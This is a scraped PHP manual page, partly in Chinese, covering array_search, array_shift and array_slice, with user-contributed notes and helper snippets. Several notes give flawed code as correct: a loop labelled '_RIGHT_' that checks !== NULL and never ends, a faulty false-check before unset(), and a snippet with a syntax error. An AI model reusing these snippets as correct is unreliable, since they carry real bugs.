function CompareNumbers($obj, $needle)
{
    return $obj - $needle;
}

//use examples
$testArr = array(10, 20, 30, 40, 50);
$res = Array_BinarySearch(30, $testArr, 'CompareNumbers', $probe);
echo (int)$res.' '.$probe.'<br />';
//output is: 1 2 - found at position 2

$res = Array_BinarySearch(45, $testArr, 'CompareNumbers', $probe);
echo (int)$res.' '.$probe.'<br />';
//output is: 0 4 - not found, but it would be at position 4 (between 40 and 45)

$res = Array_BinarySearch(-3, $testArr, 'CompareNumbers', $probe);
echo (int)$res.' '.$probe.'<br />';
//output is: 0 0 - not found, but it would be at position 0 (before 10)

$res = Array_BinarySearch(300, $testArr, 'CompareNumbers', $probe);
echo (int)$res.' '.$probe.'<br />';
//output is: 0 5 - not found, but it would be at position 5 (after 50; note, that count($haystack) == 5)
?>

See original greenmr's note for additional details about usage of this binary search: http://php.net/manual/en/function.array-search.php#89413
Nguyen KimKha 23-Aug-2009 10:18
You can remove some values from array, by using unset() and array_search().

<?php

$friends = array( 'Bob', 'Ann', 'Peter' ); // Two persons named 'Bob'
$find = 'Bob';
$key = array_search( $find, $friends ); // Find key of given value
if ($key != NULL || $key !== FALSE) {
    unset($friends[$key]); // remove key from array
}

// Now, $friends = array( 'Ann', 'Peter');

?>
buddel 08-Jun-2009 08:13
the recursive function by tony have a small bug. it failes when a key is 0

here is the corrected version of this helpful function:

<?php
function recursive_array_search($needle,$haystack) {
    foreach($haystack as $key=>$value) {
        $current_key=$key;
        if($needle===$value OR (is_array($value) && recursive_array_search($needle,$value) !== false)) {
            return $current_key;
        }
    }
    return false;
}
?>
tony dot peter at wanadoo dot fr 11-May-2009 12:53
A simple recursive array_search function :

<?php
function recursive_array_search($needle,$haystack) {
    foreach($haystack as $key=>$value) {
        $current_key=$key;
        if($needle===$value OR (is_array($value) && recursive_array_search($needle,$value))) {
            return $current_key;
        }
    }
    return false;
}
?>
n-regen 05-May-2009 10:36
If you only know a part of a value in an array and want to know the complete value, you can use the following function:
<?php
function array_find($needle, $haystack)
{
   foreach ($haystack as $item)
   {
      if (strpos($item, $needle) !== FALSE)
      {
         return $item;
         break;
      }
   }
}
?>
The function returns the complete first value of $haystack that contains $needle.
helenadeus at gmail dot com 25-Jan-2009 01:05
I was trying to use array_search to retrieve all the values that match a given needle, but it turns out only the first match key is returned. I built this little function, which works just like array_search, but returns all the keys that match a given needle instead. The output is an array.

<?php

$haystack = array('a','b','a','b');

$needle = 'a';

print_r(array_search_all($needle, $haystack));

//Output will be
// Array
// (
//         [0]=>1
//         [1]=>3
// )

function array_search_all($needle, $haystack)
{#array_search_match($needle, $haystack) returns all the keys of the values that match $needle in $haystack

    foreach ($haystack as $k=>$v) {

        if($haystack[$k]==$needle){

           $array[] = $k;
        }
    }
    return ($array);

}

?>
azaozz, gmail 20-Dec-2008 05:23
Expanding on the comment by hansen{}cointel.de:

When searching for a string and the array contains 0 (zero), the string is casted to (int) by the type-casting which is always 0 (perhaps the opposite is the proper behaviour, the array value 0 should have been casted to string). That produces unexpected results if strict comparison is not used:

<?php
$a = array(0, "str1", "str2", "str3");
echo "
str1 = ".array_search("str1", $a).",
str2 = ".array_search("str2", $a).",
str3 = ".array_search("str3", $a).",

str1 strict = ".array_search("str1", $a, true).",
str2 strict = ".array_search("str2", $a, true).",
str3 strict = ".array_search("str3", $a, true);
?>

This will return:
str1 = 0, str2 = 0, str3 = 0, str1 strict = 1, str2 strict = 2, str3 strict = 3
dcez at land dot ru 30-Apr-2008 01:15
Simple way to get variable name by using array_search function:

<?php

function varname($var){

    return (isset($var))? array_search($var, $GLOBALS) : false;

}

$boogie = 'tonight';

echo varname($boogie);

?>
andreas dot damm at maxmachine dot de 03-Apr-2008 04:07
Combining syntax of array_search() and functionality of array_keys() to get all key=>value associations of an array with the given search-value:
<?php
function array_search_values( $m_needle, $a_haystack, $b_strict = false){
    return array_intersect_key( $a_haystack, array_flip( array_keys( $a_haystack, $m_needle, $b_strict)));
}
?>

Usage:
<?php
$array1 = array( 'pre'=>'2', 1, 2, 3, '1', '2', '3', 'post'=>2);
print_r( array_search_values( '2', $array1));
print_r( array_search_values( '2', $array1, true));
print_r( array_search_values( 2, $array1, true));
?>

Will return:
array(4) {
    ["pre"] =>
    string(1) "2"
    [1] =>
    int(2)
    [4] =>
    string(1) "2"
    ["post"] =>
    int(2)
}
array(2) {
    ["pre"] =>
    string(1) "2"
    [4] =>
    string(1) "2"
}
array(2) {
    [1] =>
    int(2)
    ["post"] =>
    int(2)
}
kermes [at] thesevens [dot] net 11-Sep-2007 03:09
A variation of previous searches that returns an array of keys that match the given value:

<?php
function array_ksearch($array, $str)
{
    $result = array();
    for($i = 0; $i < count($array); next($array), $i++)
        if(strtolower(current($array)) == strtolower($str))
            array_push($result, key($array);

    return $result;
}
?>

Usage would be as follows:
<?php
$testArray = array('one' => 'test1', 'two' => 'test2', 'three' => 'test1', 'four' => 'test2', 'five' => 'test1');
    print_r(array_ksearch($testArray, 'test1'));
?>
robertark at gmail dot com 01-Sep-2007 11:20
A better array_isearch would be to store all results in an array, then return the KEYS stored in $found, such as:

<?php
function array_isearch($str, $array){
  $found = array();
  foreach ($array as $k => $v)
      if (strtolower($v) == strtolower($str)) $found[] = $k;
  return $found;
}
?>

To use, simply have an array to search from then search it, for example:

<?php

function array_isearch($str, $array) {
  $found = array();
  foreach($array as $k => $v)
    if(strtolower($v) == strtolower($str)) $found[] = $k;
  return $found;
}

$stored = "these are an array";
$stored = explode(" ", $stored);

$compare = array("these", "are", "some", "results", "stored", "in", "an", "array");
foreach($stored as $store) {
  $results = array_isearch($store, $compare);
  foreach($results as $key => $result)
    echo "Key: ".$results[$key]."<br />Found: ".$compare[$result]."<br />";
}

?>

Hope this helps :-)

-Rob
mark dot php at mhudson dot net 11-Sep-2006 05:49
I was going to complain bitterly about array_search() using zero-based indexes, but then I realized I should be using in_array() instead.

// if ( isset( $_GET['table'] ) and array_search( $_GET['table'], $valid_tables) ) {  // BAD: fails on first[0] element
// if ( isset( $_GET['table'] ) and ( FALSE !== array_search( $_GET['table'], $valid_tables) ) ) { OK: but wasteful and convoluted
   if ( isset( $_GET['table'] ) and in_array( $_GET['table'], $valid_tables) ) { // BETTER

The essence is this: if you really want to know the location of an element in an array, then use array_search, else if you only want to know whether that element exists, then use in_array()
RichGC 20-Mar-2006 05:54
To expand on previous comments, here are some examples of
where using array_search within an IF statement can go
wrong when you want to use the array key thats returned.

Take the following two arrays you wish to search:

<?php
$fruit_array = array("apple", "pear", "orange");
$fruit_array = array("a" => "apple", "b" => "pear", "c" => "orange");

if ($i = array_search("apple", $fruit_array))
//PROBLEM: the first array returns a key of 0 and IF treats it as FALSE

if (is_numeric($i = array_search("apple", $fruit_array)))
//PROBLEM: works on numeric keys of the first array but fails on the second

if ($i = is_numeric(array_search("apple", $fruit_array)))
//PROBLEM: using the above in the wrong order causes $i to always equal 1

if ($i = array_search("apple", $fruit_array) !== FALSE)
//PROBLEM: explicit with no extra brackets causes $i to always equal 1

if (($i = array_search("apple", $fruit_array)) !== FALSE)
//YES: works on both arrays returning their keys
?>
congaz at yahoo dot dk 09-Mar-2006 07:38
Search a multi-dimensional array on keys!
-------------------------------------------

I needed to search dynamically in a multi-dimen array on keys. I came up with this little neat function. It is so amazingly simple, that I actually didn't think it would work - but it does...

mixed array_searchMultiOnKeys(array, array);

<?php
function array_searchMultiOnKeys($multiArray, $searchKeysArray) {
    // Iterate through searchKeys, making $multiArray smaller and smaller.
    foreach ($searchKeysArray as $keySearch) {
        $multiArray = $multiArray[$keySearch];
        $result = $multiArray;
    }

    // Check $result.
    if (is_array($multiArray)) {
        // An array was found at the end of the search. Return true.
        $result = true;
    }
    else if ($result == '') {
        // There was nothing found at the end of the search. Return false.
        $result = false;
    }

    return $result;
// End of function,
}

// --- Test array_searchMultiOnKeys ---
$multiArray['webpages']['downloads']['music'] = 1;
$multiArray['webpages']['downloads']['pressmaterial'] = 5;
$multiArray['webpages']['links'] = 7;

array_searchMultiOnKeys($multiArray, array('webpages', 'links')); // returns 7.
array_searchMultiOnKeys($multiArray, array('webpages', 'downloads')); // returns true.
array_searchMultiOnKeys($multiArray, array('webpages', 'downloads', 'software')); // returns false.

?>

$multiArray / $searchKeysArray can be any size.

Happy hacking...
08-Feb-2006 06:26
may be good to take note of PHP's mind-boggling 'fuzzy' (vulgo "magic type-casting") comparison features not only in using the results, but also in the search, too:
<?php
$a=array("a","b",0,"c","d");
echo "a: ".array_search("a",$a);
echo "b: ".array_search("b",$a);
echo "c: ".array_search("c",$a);
echo "d: ".array_search("d",$a);
echo "0: ".array_search("0",$a);
echo "x: ".array_search("x",$a);
echo "1: ".array_search("1",$a);
?>
will result in:
a: 0, b: 1, c: 2, d: 2, 0: 2, x: 2, 1: false

as from "c" on, the first match found in $a is "0", as any string compared to an int is automatically cast to (int)0.
22-Oct-2004 05:01
There is no function to count the occurences of needle in haystack, so I made my own one...

<?php
function array_match($needle, $haystack)
{
    if( !is_array($haystack) ) return false;

    $i = 0;
    while( (in_array( $needle, $haystack )) != FALSE )
    {
        $i++;
        $haystack[array_search($needle, $haystack)] = md5($needle);
        reset($haystack);
    }

    return $i;
}
?>

I know it's a bit crappy, but don't ask me too much, I'm still only 13... ;)
dennis dot decoene at removthis dot moveit dot be 17-Jan-2004 10:41
It has been said before: array_search is VERY slow. Everyone knows binary search is fast by design. Here is an implementation.

<?php
$arr=array(1,3,5,7,9,10,11,13);
$searchfor = 6;
echo binsearch($searchfor, $arr);

/**
 * @return integer
 * @param var $needle
 * @param array $haystack
 * @desc Feed a sorted array to $haystack and a value to search for to $needle.
             It will return false if not found or the index where it was found.
             This function is superfast. Try an array with 50.000 elements and search for something,
             you will be amazed.
*/
function binsearch($needle, $haystack)
{
    $high = count($haystack);
    $low = 0;

    while ($high - $low > 1){
        $probe = ($high + $low) / 2;
        if ($haystack[$probe] < $needle){
            $low = $probe;
        }else{
            $high = $probe;
        }
    }

    if ($high == count($haystack) || $haystack[$high] != $needle) {
        return false;
    }else {
        return $high;
    }
}
?>
cue at openxbox dot com 09-Jun-2003 07:50
If you are using the result of array_search in a condition statement, make sure you use the === operator instead of == to test whether or not it found a match.  Otherwise, searching through an array with numeric indicies will result in index 0 always getting evaluated as false/null.  This nuance cost me a lot of time and sanity, so I hope this helps someone.  In case you don't know what I'm talking about, here's an example:

<?php
$code = array("a", "b", "a", "c", "a", "b", "b"); // infamous abacabb mortal kombat code :-P

// this is WRONG
while (($key = array_search("a", $code)) != NULL)
{
 // infinite loop, regardless of the unset
 unset($code[$key]);
}

// this is _RIGHT_
while (($key = array_search("a", $code)) !== NULL)
{
 // loop will terminate
 unset($code[$key]);
}
?>
swbrown at ucsd dot edu 02-May-2002 01:18
Be absolutely sure to check that your code that uses array_search now checks for 'false' too if you upgrade to PHP 4.2.0!

I was using array_search in my page authentication routines and this change had the fun side-effect of causing my code to always think a user had full permissions!  It was letting anyone click through to our installation of phpMyAdmin.  Not good indeed!


将数组开头的单元移出数组

  • ? array_search
  • array_slice ?
  • PHP Manual
  • 数组 函数
  • 将数组开头的单元移出数组

array_shift

(PHP 4, PHP 5, PHP 7)

array_shift — 将数组开头的单元移出数组

说明

array_shift ( array &$array ) : mixed

array_shift() 将 array 的第一个单元移出并作为结果返回，将 array 的长度减一并将所有其它单元向前移动一位。所有的数字键名将改为从零开始计数，文字键名将不变。

Note: 使用此函数后会重置（reset()）array 指针。

参数

array

输入的数组。

返回值

返回移出的值，如果 array 为 空或不是一个数组则返回 NULL。

范例

Example #1 array_shift() 例子

<?php
$stack = array("orange", "banana", "apple", "raspberry");
$fruit = array_shift($stack);
print_r($stack);
?>

以上例程会输出：

Array
(
    [0] => banana
    [1] => apple
    [2] => raspberry
)

并且 orange 被赋给了 $fruit。

参见

  • array_unshift() - 在数组开头插入一个或多个单元
  • array_push() - 将一个或多个单元压入数组的末尾（入栈）
  • array_pop() - 弹出数组最后一个单元（出栈）

User Contributed Notes

vasiliauskas dot agnius at gmail dot com 07-Mar-2019 08:37
Sometimes instead of shuffling array you just need to rotate it. We can easily rotate left an array with such code:
<?php
$arr[] = array_shift($arr);
?>
biziclop at vipmail dot hu 17-Jan-2018 10:49
<?php

//Be careful when using array_pop/shift/push/unshift with irregularly indexed arrays:

$shifty = $poppy = array(
  2 => '(2)',
  1 => '(1)',
  0 => '(0)',
);                         print_r( $shifty );

array_shift( $shifty );    print_r( $shifty );
//     [0] => (1)
//     [1] => (0)

array_pop( $poppy );       print_r( $poppy );
//     [2] => (2)
//     [1] => (1)

$shifty = $poppy = array(
  'a' => 'A',
  'b' => 'B',
  '(0)',
  '(1)',
  'c' => 'C',
  'd' => 'D',
);                                     print_r( $shifty );

array_shift( $shifty );                print_r( $shifty );
//     [b] => B
//     [0] => (0)
//     [1] => (1)
//     [c] => C
//     [d] => D

array_unshift( $shifty, 'unshifted');  print_r( $shifty );
//     [0] => unshifted
//     [b] => B
//     [1] => (0)
//     [2] => (1)
//     [c] => C
//     [d] => D

array_pop( $poppy );                   print_r( $poppy );
//     [a] => A
//     [b] => B
//     [0] => (0)
//     [1] => (1)
//     [c] => C

array_push( $poppy, 'pushed');         print_r( $poppy );
//     [a] => A
//     [b] => B
//     [0] => (0)
//     [1] => (1)
//     [c] => C
//     [2] => pushed

?>
mah dot di at live dot com 07-Mar-2016 02:35
This removeAdd function, the first argument shift your array then unshif the second argument to your array. first argument is an array and second argument can be int or str.

<?php
function removeAdd ($arr, $newer){
    $a = array_shift($arr);
    $b = array_unshift($arr, $newer);
    foreach ($arr as $value){
        echo $value."<br />";
    }
}

$a = array(1,2,3,4,5,6);
foreach ($a as $current){
    echo $current."<br />";
}
echo "<hr />";
removeAdd($a, 0);
?>

OUTPUT:
1
2
3
4
5
6
_______

0
2
3
4
5
6
michaeljanikk at gmail dot com 14-May-2014 01:26
To remove an element from the MIDDLE of an array (similar to array_shift, only instead of removing the first element, we want to remove an element in the middle, and shift all keys that follow down one position)

Note that this only works on enumerated arrays.

<?php
$array = array('a', 'b', 'c', 'd', 'e', 'e');
/*
array(6) {
  [0]=>
  string(1) "a"
  [1]=>
  string(1) "b"
  [2]=>
  string(1) "c"
  [3]=>
  string(1) "d"
  [4]=>
  string(1) "e"
  [5]=>
  string(1) "e"
}
*/

$indexToRemove = 2;
unset($array[$indexToRemove]);
$array = array_slice($array, 0);

/*
array(5) {
  [0]=>
  string(1) "a"
  [1]=>
  string(1) "b"
  [2]=>
  string(1) "d"
  [3]=>
  string(1) "e"
  [4]=>
  string(1) "e"
}
*/
?>

I hope this helps someone!
drum_inc at yahoo dot com 23-Aug-2013 05:27
Assignment in line, does not remove the element.

$first = array_shift( $arr = array( 0 => '1st', 2 => '2nd', 3 => '3rd') );
print_r( $first );
print_r( $arr );

Output:
1st
Array
(
    [0] => 1st
    [2] => 2nd
    [3] => 3rd
)
elad dot yosifon at gmail dot com 10-Aug-2013 06:47
Notice:
the complexity of array_pop() is O(1).
the complexity of array_shift() is O(n).
array_shift() requires a re-index process on the array, so it has to run over all the elements and index them.
info at chihoang dot de 20-Apr-2011 09:46
This doesn't work with a 2 dimensional array. With 2 dimensional array I do this:

<?php
$backup = $arr;
$first = array_shift ( $backup );
?>
ar at xonix dot ch 14-Aug-2010 03:54
If you need the first or last entry of an array, then this could help you.

<?php
function array_last_entry($arr){
    if(!is_array($arr))
        return;

    if(empty($arr))
        return;

    return end($arr);
}

function array_first_entry($arr){
    if(!is_array($arr))
        return;

    if(empty($arr))
        return;

    reset($arr);
    return current($arr);
}

$arr = array( '5' => 'five', '3' => 'three', '8' => 'eight',);

echo 'last entry: '.array_last_entry($arr).'<br>';

echo 'first entry: '.array_first_entry($arr).'<br>';

echo 'alternative output:<br>';

echo 'last entry: '.$arr[count($arr)-1];

echo '<br>first entry: '.$arr[0];
?>

The output will look like:
last entry: eight
first entry: five
alternative output:
last entry:
first entry:

As you can see, if you have to handle arrays with non-continuous indexes, these functions may be very helpful.
patrick at pwfisher dot com 21-Aug-2009 08:23
Here's a utility function to parse command line arguments.

<?php
/**
 * CommandLine class
 *
 * @package             Framework
 */
/**
 * Command Line Interface (CLI) utility class.
 *
 * @author              Patrick Fisher <patrick@pwfisher.com>
 * @since               August 21, 2009
 * @package             Framework
 * @subpackage          Env
 */
class CommandLine {

    /**
     * PARSE ARGUMENTS
     *
     * [pfisher ~]$ echo "<?php
     * >     include('CommandLine.php');
     * >     \$args = CommandLine::parseArgs(\$_SERVER['argv']);
     * >     echo "\n", '\$out = '; var_dump(\$args); echo "\n";
     * > ?>" > test.php
     *
     * [pfisher ~]$ php test.php plain-arg --foo --bar=baz --funny="spam=eggs" --alsofunny=spam=eggs \
     * > 'plain arg 2' -abc -k=value "plain arg 3" --s="original" --s='overwrite' --s
     *
     * $out = array(12) {
     *   [0]                => string(9) "plain-arg"
     *   ["foo"]            => bool(true)
     *   ["bar"]            => string(3) "baz"
     *   ["funny"]          => string(9) "spam=eggs"
     *   ["alsofunny"]      => string(9) "spam=eggs"
     *   [1]                => string(11) "plain arg 2"
     *   ["a"]              => bool(true)
     *   ["b"]              => bool(true)
     *   ["c"]              => bool(true)
     *   ["k"]              => string(5) "value"
     *   [2]                => string(11) "plain arg 3"
     *   ["s"]              => string(9) "overwrite"
     * }
     *
     * @author              Patrick Fisher <patrick@pwfisher.com>
     * @since               August 21, 2009
     * @see                 http://www.php.net/manual/en/features.commandline.php
     *                      #81042 function arguments($argv) by technorati at gmail dot com, 12-Feb-2008
     *                      #78651 function getArgs($args) by B Crawford, 22-Oct-2007
     * @usage               $args = CommandLine::parseArgs($_SERVER['argv']);
     */
    public static function parseArgs($argv){

        array_shift($argv);
        $out                            = array();

        foreach ($argv as $arg){

            // --foo --bar=baz
            if (substr($arg,0,2) == '--'){
                $eqPos                  = strpos($arg,'=');

                // --foo
                if ($eqPos === false){
                    $key                = substr($arg,2);
                    $value              = isset($out[$key]) ? $out[$key] : true;
                    $out[$key]          = $value;
                }
                // --bar=baz
                else {
                    $key                = substr($arg,2,$eqPos-2);
                    $value              = substr($arg,$eqPos+1);
                    $out[$key]          = $value;
                }
            }
            // -k=value -abc
            else if (substr($arg,0,1) == '-'){

                // -k=value
                if (substr($arg,2,1) == '='){
                    $key                = substr($arg,1,1);
                    $value              = substr($arg,3);
                    $out[$key]          = $value;
                }
                // -abc
                else {
                    $chars              = str_split(substr($arg,1));
                    foreach ($chars as $char){
                        $key            = $char;
                        $value          = isset($out[$key]) ? $out[$key] : true;
                        $out[$key]      = $value;
                    }
                }
            }
            // plain-arg
            else {
                $value                  = $arg;
                $out[]                  = $value;
            }
        }
        return $out;
    }
}
?>
regs at voidship dot net 03-Nov-2008 12:50
Using array_shift over larger array was fairly slow.  It sped up as the array shrank, most likely as it has to reindex a smaller data set.

For my purpose, I used array_reverse, then array_pop, which doesn't need to reindex the array and will preserve keys if you want it to (didn't matter in my case).

Using direct index references, i.e., array_test[$i], was fast, but direct index referencing + unset for destructive operations was about the same speed as array_reverse and array_pop.  It also requires sequential numeric keys.
chris {at} w3style {dot} co {dot} uk 05-Oct-2008 06:06
As pointed out earlier, in PHP4, array_shift() modifies the input array by-reference, but it doesn't return the first element by reference.  This may seem like very unexpected behaviour.  If you're working with a collection of references (in my case XML Nodes) this should do the trick.

<?php

/**
 * This function exhibits the same behaviour is array_shift(), except
 * it returns a reference to the first element of the array instead of a copy.
 *
 * @param array &$array
 * @return mixed
 */
function &array_shift_reference(&$array)
{
  if (count($array) > 0)
  {
    $key = key($array);
    $first =& $array[$key];
  }
  else
  {
    $first = null;
  }
  array_shift($array);
  return $first;
}

class ArrayShiftReferenceTest extends UnitTestCase
{

  function testFunctionRemovesFirstElementOfNumericallyIndexedArray()
  {
    $input = array('foo', 'bar');
    array_shift_reference($input);
    $this->assertEqual(array('bar'), $input, '%s: The array should be shifted one element left');
  }

  function testFunctionRemovesFirstElementOfAssociativeArray()
  {
    $input = array('x' => 'foo', 'y' => 'bar');
    array_shift_reference($input);
    $this->assertEqual(array('y' => 'bar'), $input, '%s: The array should be shifted one element left');
  }

  function testFunctionReturnsReferenceToFirstElementOfNumericallyIndexedArray()
  {
    $foo = 'foo';
    $input = array(&$foo, 'bar');
    $first =& array_shift_reference($input);
    $this->assertReference($foo, $first, '%s: The return value should reference the first array element');
  }

  function testFunctionReturnsReferenceToFirstElementOfAssociativeArray()
  {
    $foo = 'foo';
    $input = array('x' => &$foo, 'y' => 'bar');
    $first =& array_shift_reference($input);
    $this->assertReference($foo, $first, '%s: The return value should reference the first array element');
  }

  function testFunctionReturnsNullIfEmptyArrayPassedAsInput()
  {
    $input = array();
    $first = array_shift_reference($input);
    $this->assertNull($first, '%s: Array has no first element so NULL should be returned');
  }

}

?>
sggoyal at gmail dot com 07-Sep-2008 10:08
// To Change order of Array by Saurabh Goyal
    function change_array_order($table,$order)
    {
       //init the new table
       $new_table = array();
       foreach($order as $colname)
       {
          $new_table[$colname] = $table[$colname];
       }
       return $new_table;
    }

if array value like:-
$row = array('usr_id'=>'23','usr_name'=>'Saurabh', 'usr_surname'=>'Goyal','usr_firstname'=>'Saurabh');

//you want change order & show only particular field
change_array_order($row,array('usr_name','usr_firstname',
                                            'usr_surname'));

Regard's

Saurabh Goyal
http://sggoyal.blogspot.com
nospam at dyce dot losethisbit dot com 02-Jul-2008 05:15
Just a useful version which returns a simple array with the first key and value. Porbably a better way of doing it, but it works for me ;-)

<?php

function array_kshift(&$arr)
{
  list($k) = array_keys($arr);
  $r  = array($k=>$arr[$k]);
  unset($arr[$k]);
  return $r;
}

// test it on a simple associative array
$arr = array('x'=>'ball','y'=>'hat','z'=>'apple');

print_r($arr);
print_r(array_kshift($arr));
print_r($arr);

?>

Output:

Array
(
    [x] => ball
    [y] => hat
    [z] => apple
)
Array
(
    [x] => ball
)
Array
(
    [y] => hat
    [z] => apple
)
Maikel 19-Feb-2008 09:43
In response to nando_f at nothingsimple dot com

The example is correct,  array_shift do an unset to first element  because the parameter is passed by reference
Ben 02-Oct-2007 09:17
baughmankr at appstate dot edu, I think this is more efficient.

<?php
function array_shorten($arr)
{
  list($k) = array_keys($arr);
  unset($arr[$k]);
  return $arr;
}
?>
baughmankr at appstate dot edu 18-Sep-2007 02:04
I needed to remove the first set of keys and values from an associative array.  Had to write this function:

function shortenArray($_arr)
{
    $i=1;
    $_shorter=array();
    foreach ($_arr as $k => $v)
    {
        if ($i != 1)
        {
            $_shorter[$k] = $v;
        }
        $i++;
    }
    return $_shorter;
}
dmhouse at gmail dot com 08-Aug-2007 01:54
If you want a version of array_shift() that works non-destructively (i.e., an easy function to grab the first element of the array without modifying the array), try reset().
Traps 09-Jul-2007 10:52
For those that may be trying to use array_shift() with an array containing references (e.g. working with linked node trees), beware that array_shift() may not work as you expect: it will return a *copy* of the first element of the array, and not the element itself, so your reference will be lost.

The solution is to reference the first element before removing it with array_shift():

<?php

// using only array_shift:
$a = 1;
$array = array(&$a);
$b =& array_shift($array);
$b = 2;
echo "a = $a, b = $b<br>"; // outputs a = 1, b = 2

// solution: referencing the first element first:
$a = 1;
$array = array(&$a);
$b =& $array[0];
array_shift($array);
$b = 2;
echo "a = $a, b = $b<br>"; // outputs a = 2, b = 2

?>
C_Prevost at myob 30-Apr-2007 04:52
no, it demonstrates quite well that it removes the first element in the original array, updating the keys, and that it also returns the original first element.
richard at happymango dot me dot uk 12-Apr-2007 06:09
If you want to loop through an array, removing its values one at a time using array_shift() but also want the key as well, try this.

<?php

while($key = key($array))
{
     $value = array_shift($array);
     //code goes here
}

?>

its like foreach but each time the value is removed from the array so it eventually ends up empty

<?php

//example below

$airports = array
(
    "LGW" => "London Gatwick",
    "LHR" => "London Heathrow",
    "STN" => "London Stanstead"
);

echo count($airports)." Airport in the array<br /><br />";

while($key = key($airports))
{
    $value = array_shift($airports);
    echo $key." is ".$value."<br />";
}

echo "<br />".count($airports)." Airport left in the array";

?>

Example Outputs:

3 Airport in the array

LGW is London Gatwick
LHR is London Heathrow
STN is London Stanstead

0 Airport left in the array
alreece45 at yahoo dot com 09-Aug-2006 08:13
I haven't really read into it, but if you're complaining about a change in PHP 5.0.5 that made it so you couldn't do:

<?php

$val = array_shift(preg_split());

?>

or

<?php

$val = array_shit(function_that_returns_array);

?>

Then you're not using this function correctly. This function's argument is supposed to be a pointer to a variable. It then modifies that variable and returns a value. When you specify a function, php CAN NOT modify the return value of that function. It should be common sense but apparently its not.

Also, on a efficiency note, you might want to consider using another function such as reset or perhaps making your own function such as below:

<?php

function first_element($array) {

return reset($array);

}

?>

Unless of course for some reason you need to save the microseconds this takes.

}
bmr at ediweb dot org 31-May-2006 07:27
If the array has non-numerical keys, array_shift extracts the first element, whichever is the key, and recompute the numerical keys, if there are any. Ie :

$array = array("c" => "ccc", 0 => "aaa", "d" => "ddd", 5 => "bbb");
$first = array_shift($array);
echo '$first = ' . $first . ', $array = ' . var_export($array, true);

will display :

$first = ccc, $array = array ( 0 => 'aaa', 'd' => 'ddd', 1 => 'bbb', )

It means that array_shift works with associative arrays too, and leaves the keys unchanged if they are non-numerical.
19-Sep-2005 07:57
<?php

//----------------------------------------------------------
// The combination of array_shift/array_unshift
// greatly simplified a function I created for
// generating relative paths. Before I found them
// the algorithm was really squirrely, with multiple
// if tests, length calculations, nested loops, etc.
// Great functions.
//----------------------------------------------------------

function create_relative_path($inSourcePath, $inRefPath)
{
    // break strings at slashes
    $s_parts            = explode('/', $inSourcePath);
    $r_parts            = explode('/', $inRefPath);

    // delete items up to the first non-equal part
    while ($s_parts[0] === $r_parts[0])
    {
        array_shift($s_parts);
        array_shift($r_parts);
    }

    // add wild card to r_parts for each remaining
    // item of s_parts
    while ($s_parts[0])
    {
        array_unshift($r_parts, '..');
        array_shift($s_parts);
    }

    return implode('/', $r_parts);
}

//----------------------------------------------------------
// Example:
//     Given a source path $sp generates the relative
//     location of $rp. $sp could be assigned using
//     $_SERVER['PHP_SELF'] but it's hardcoded for
//     the example.
//----------------------------------------------------------
$sp = '/WebServer/Documents/MyBigProject/php/project_script.php';
$rp = '/WebServer/Documents/MyLibraries/lib_script.php';

// plugging them into the function
$rel_path = create_relative_path($sp, $rp);

// yeilds
'../../../MyLibraries/lib_script.php'

// and it could be used like
include_once(create_relative_path($_SERVER['PHP_SELF'], $rp));
lukasz dot dywicki DEL at gmail dot com 27-Jul-2005 05:48
Im using this function to browse arrays from database. For example data:
<?php
$data = array(
      array('row 1-cell 1','row 1-cell 2'),
      array('row 2-cell 1','row 2-cell 2'),
      array('row 3-cell 1','row 3-cell 2'),
);

while($row=array_shift($data)) {
      echo $row[0];
}
?>
Output:
row 1-cell 1
row 2-cell 1
row 3-cell 1
arturo {dot} ronchi {at} gmail {dot} com 20-Apr-2005 06:24
Here is a little function if you would like to get the top element and rotate the array afterwards.

function array_rotate(&$arr)
{
  $elm = array_shift($arr);
  array_push($arr, $elm);
  return $elm;
}
09-Feb-2005 04:27
This function will save the key values of an array, and it will work in lower versions of PHP:

<?php

function array_shift2(&$array){
    reset($array);
    $key = key($array);
    $removed = $array[$key];
    unset($array[$key]);
    return $removed;
}

?>
James McGuigan 14-Dec-2004 11:26
while(array_shift()) can be used to process multiple arrays and/or database results in a single loop. The || short circuts and only evaluates the first statement until it runs out of data.

It can help to reduce duplicated code (the rule is code once and once only).

Note that each ($row = ) statement much be encased in ()'s otherwise you will get funny results. If you use two array_shift($array) statements and forget the ()'s, you will repeatedly get the first element of the first array for the for the count of the $array.

<?php

require_once('class.db.php');

$sql = "SELECT title FROM links";
$result = mysql_query($sql, $db->connection);

$defaults = array(
     array('title' => 'None'),
     array('title' => 'Unknown')
);

while ( ($row = mysql_fetch_assoc($result))
     || ($row = array_shift($defaults)))
{
  echo $row['title'] . "<br>";
}

?>

This will print out (depending on database contents):
Title1
Title2
Title3
...
None
Unknown


从数组中取出一段

  • ? array_shift
  • array_splice ?
  • PHP Manual
  • 数组 函数
  • 从数组中取出一段

array_slice

(PHP 4, PHP 5, PHP 7)

array_slice — 从数组中取出一段

说明

array_slice ( array $array , int $offset [, int $length = NULL [, bool $preserve_keys = false ]] ) : array

array_slice() 返回根据 offset 和 length 参数所指定的 array 数组中的一段序列。

参数

array

输入的数组。

offset

如果 offset 非负，则序列将从 array 中的此偏移量开始。如果 offset 为负，则序列将从 array 中距离末端这么远的地方开始。

length

如果给出了 length 并且为正，则序列中将具有这么多的单元。如果给出了 length 并且为负，则序列将终止在距离数组末端这么远的地方。如果省略，则序列将从 offset 开始一直到 array 的末端。

preserve_keys

注意 array_slice() 默认会重新排序并重置数组的数字索引。你可以通过将 preserve_keys 设为 TRUE 来改变此行为。

返回值

返回其中一段。 如果 offset 参数大于 array 尺寸，就会返回空的 array。

更新日志

版本 | 说明
5.2.4 | length 参数默认值改成 NULL。 现在 length 为 NULL 时，意思是说使用 array 的长度。 之前的版本里， NULL 的 length 的意思是长度为零（啥也不返回）。
5.0.2 | 增加了可选参数 preserve_keys 。

范例

Example #1 array_slice() 例子

<?php
$input = array("a", "b", "c", "d", "e");

$output = array_slice($input, 2);      // returns "c", "d", and "e"
$output = array_slice($input, -2, 1);  // returns "d"
$output = array_slice($input, 0, 3);   // returns "a", "b", and "c"

// note the differences in the array keys
print_r(array_slice($input, 2, -1));
print_r(array_slice($input, 2, -1, true));
?>

以上例程会输出：

Array
(
    [0] => c
    [1] => d
)
Array
(
    [2] => c
    [3] => d
)

参见

  • array_splice() - 去掉数组中的某一部分并用其它值取代
  • unset() - 释放给定的变量
  • array_chunk() - 将一个数组分割成多个

User Contributed Notes

nathan dot fiscaletti at gmail dot com 30-Dec-2017 01:46
If you want an associative version of this you can do the following:

function array_slice_assoc($array,$keys) {
    return array_intersect_key($array,array_flip($keys));
}

